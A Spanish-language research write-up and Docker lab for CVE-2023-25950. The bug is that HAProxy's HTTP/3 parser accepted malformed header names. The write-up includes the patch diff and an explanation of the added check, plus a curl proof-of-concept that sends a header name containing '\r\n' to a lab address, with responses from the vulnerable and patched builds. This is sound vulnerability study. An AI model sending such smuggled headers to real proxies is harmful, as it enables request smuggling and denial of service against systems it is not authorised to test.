
HTTP3ONSTEROIDS - Una investigación sobre CVE-2023-25950, donde la implementación de HTTP/3 de HAProxy no logra bloquear un nombre de campo de cabecera HTTP malformado.

La implementación de HTTP/3 de HAProxy no consigue bloquear un nombre de campo de cabecera HTTP malformado y, cuando se despliega frente a un servidor que procesa incorrectamente esta cabecera malformada, puede utilizarse para llevar a cabo un ataque de contrabando de solicitudes/respuestas HTTP (HTTP request/response smuggling). Un atacante remoto puede alterar la solicitud de un usuario legítimo. Como resultado, el atacante puede obtener información sensible o provocar una condición de denegación de servicio (DoS).
https://jvn.jp/en/jp/JVN38170084/
Un muy buen enfoque antes de comenzar cualquier investigación sobre CVEs es empezar leyendo la descripción de la vulnerabilidad y luego comprobar si el/los commit(s) del parche están disponibles.
En mi caso, el commit estaba disponible, y es evidente que los desarrolladores de HAProxy olvidaron incluir las comprobaciones de la RFC 9114 4.1.2. Malformed Requests and Responses durante el análisis de las cabeceras estándar en la implementación de HTTP/3.
Consulte el commit del parche a continuación.
--- a/src/h3.c
+++ b/src/h3.c
@@ -352,7 +352,27 @@ static ssize_t h3_headers_to_htx(struct qcs *qcs, const struct buffer *buf,
//struct ist scheme = IST_NULL, authority = IST_NULL;
struct ist authority = IST_NULL;
int hdr_idx, ret;
- int cookie = -1, last_cookie = -1;
+ int cookie = -1, last_cookie = -1, i;
+
+ /* RFC 9114 4.1.2. Malformed Requests and Responses
+ *
+ * A malformed request or response is one that is an otherwise valid
+ * sequence of frames but is invalid due to:
+ * - the presence of prohibited fields or pseudo-header fields,
+ * - the absence of mandatory pseudo-header fields,
+ * - invalid values for pseudo-header fields,
+ * - pseudo-header fields after fields,
+ * - an invalid sequence of HTTP messages,
+ * - the inclusion of uppercase field names, or
+ * - the inclusion of invalid characters in field names or values.
+ *
+ * [...]
+ *
+ * Intermediaries that process HTTP requests or responses (i.e., any
+ * intermediary not acting as a tunnel) MUST NOT forward a malformed
+ * request or response. Malformed requests or responses that are
+ * detected MUST be treated as a stream error of type H3_MESSAGE_ERROR.
+ */
TRACE_ENTER(H3_EV_RX_FRAME|H3_EV_RX_HDR, qcs->qcc->conn, qcs);
@@ -416,6 +436,14 @@ static ssize_t h3_headers_to_htx(struct qcs *qcs, const struct buffer *buf,
if (isteq(list[hdr_idx].n, ist("")))
break;
+ for (i = 0; i < list[hdr_idx].n.len; ++i) {
+ const char c = list[hdr_idx].n.ptr[i];
+ if ((uint8_t)(c - 'A') < 'Z' - 'A' || !HTTP_IS_TOKEN(c)) {
+ TRACE_ERROR("invalid characters in field name", H3_EV_RX_FRAME|H3_EV_RX_HDR, qcs->qcc->conn, qcs);
+ return -1;
+ }
+ }
+
if (isteq(list[hdr_idx].n, ist("cookie"))) {
http_cookie_register(list, hdr_idx, &cookie, &last_cookie);
continue;
Repositorios - haproxy-2.7.git/commit
A continuación, puede encontrar el código que demuestra la ausencia de saneamiento del nombre de la cabecera en la implementación del manejo de las cabeceras estándar en HAProxy 2.7.0.
/*
src/h3.c
lines: 413 - 428
*/
/* now treat standard headers */
hdr_idx = 0;
while (1) {
if (isteq(list[hdr_idx].n, ist("")))
break;
if (isteq(list[hdr_idx].n, ist("cookie"))) {
http_cookie_register(list, hdr_idx, & cookie, & last_cookie);
continue;
}
if (!istmatch(list[hdr_idx].n, ist(":")))
htx_add_header(htx, list[hdr_idx].n, list[hdr_idx].v);
++hdr_idx;
}
A continuación, puede encontrar el código que se utiliza para comprobar si el nombre de la cabecera es válido.
El código comienza con un bucle for que itera a través de cada carácter del nombre de un campo de cabecera. El bucle se ejecuta desde i = 0 hasta i < list[hdr_idx0.n.len], donde list es una matriz o estructura que contiene información de la cabecera, y hdr_idx es un índice que representa la cabecera específica que se está comprobando.
Dentro del bucle, el código extrae el carácter actual c del nombre del campo de cabecera.
list[hdr_idx].n.ptr[i] accede al carácter en la posición i-ésima del nombre del campo de la cabecera.
La siguiente parte del código contiene una declaración if. Comprueba si el carácter actual c satisface una de dos condiciones:
(uint8_t)(c - 'A') < 'Z' - 'A': Comprueba si el carácter es una letra mayúscula (de la A a la Z) restando 'A' de c y convirtiendo el resultado a uint8_t. Si el resultado es menor que la diferencia entre 'Z' y 'A', entonces el carácter es una letra mayúscula.!HTTP_IS_TOKEN(c): Esta condición comprueba si el carácter es un carácter de token HTTP válido. HTTP_IS_TOKEN funciona comprobando primero si el nombre de la cabecera contiene algún token. Un token es una secuencia de caracteres que no es un carácter reservado en el protocolo HTTP. Los caracteres reservados son caracteres que tienen un significado especial en el protocolo HTTP, por ejemplo :, /, ? y #./*
src/h3.c
lines: 439 - 445
*/
for (i = 0; i < list[hdr_idx].n.len; ++i) {
const char c = list[hdr_idx].n.ptr[i];
if ((uint8_t)(c - 'A') < 'Z' - 'A' || !HTTP_IS_TOKEN(c)) {
TRACE_ERROR("invalid characters in field name", H3_EV_RX_FRAME | H3_EV_RX_HDR, qcs -> qcc -> conn, qcs);
return -1;
}
}
Todo el laboratorio se ejecuta en Docker. Puede ejecutar el laboratorio con los siguientes comandos:
cd /labdocker-compose up --buildTenga en cuenta que la compilación de Docker tardará 15-20 minutos en finalizar.
Sin embargo, antes de ejecutar el laboratorio, debe realizar algunos cambios de configuración:
/lab/haproxy/conf/haproxy.cfg
...
default_backend api_server
backend api_server
balance roundrobin
server api_server [YOUR-LOCAL-IPv4]:8080 # replace with local IPv4
/etc/hosts
[YOUR-LOCAL-IPv4] foo.com
/lab/docker-compose.yml
Puede elegir entre la versión vulnerable y la versión parcheada cambiando el valor del argumento a 'vuln' o 'patched' para realizar su prueba.
...
args:
- haproxy_version=patched || vuln
...
y, por último, importe el certificado minica.crt en su navegador.
⚠️ Ejecute el laboratorio en un entorno Linux.
Envíe la siguiente solicitud curl:
curl --http3 -H "foooooo\r\n: barr" -iL -k https://192.168.1.104/Respuesta de la versión vulnerable:
HTTP/3 200
server: Werkzeug/2.3.6 Python/3.8.17
date: Sat, 12 Aug 2023 13:10:52 GMT
content-type: text/html; charset=utf-8
content-length: 76
alt-svc: h3=":443";ma=900;
Host: 192.168.1.104
User-Agent: curl/8.1.2-DEV
Accept: */*
Foooooo\R\N: barr <-- Malformed header
Respuesta de la versión parcheada:
curl: (56) HTTP/3 stream 0 reset by server
Según los hallazgos anteriores, las respuestas correspondientes indican que la versión vulnerable de HAProxy permitió que el prefijo \r\n pasara al servidor backend, mientras que la versión parcheada cortó la conexión entre el cliente y HAProxy.
Un atacante puede llevar a cabo un ataque de contrabando de solicitudes HTTP (HTTP Request Smuggling) basándose en el comportamiento del backend y en cómo el servidor backend tratará la cabecera malformada. En mi opinión, la preocupación más significativa es que un atacante podría explotar el CVE mencionado para realizar un ataque de denegación de servicio (DoS).
https://jvn.jp/en/jp/JVN38170084/
https://github.com/haproxytechblog/haproxy-2.6-http3
https://www.haproxy.com/blog/how-to-enable-quic-load-balancing-on-haproxy
https://git.haproxy.org/
https://github.com/jsha/minica
https://curl.se/docs/http3.html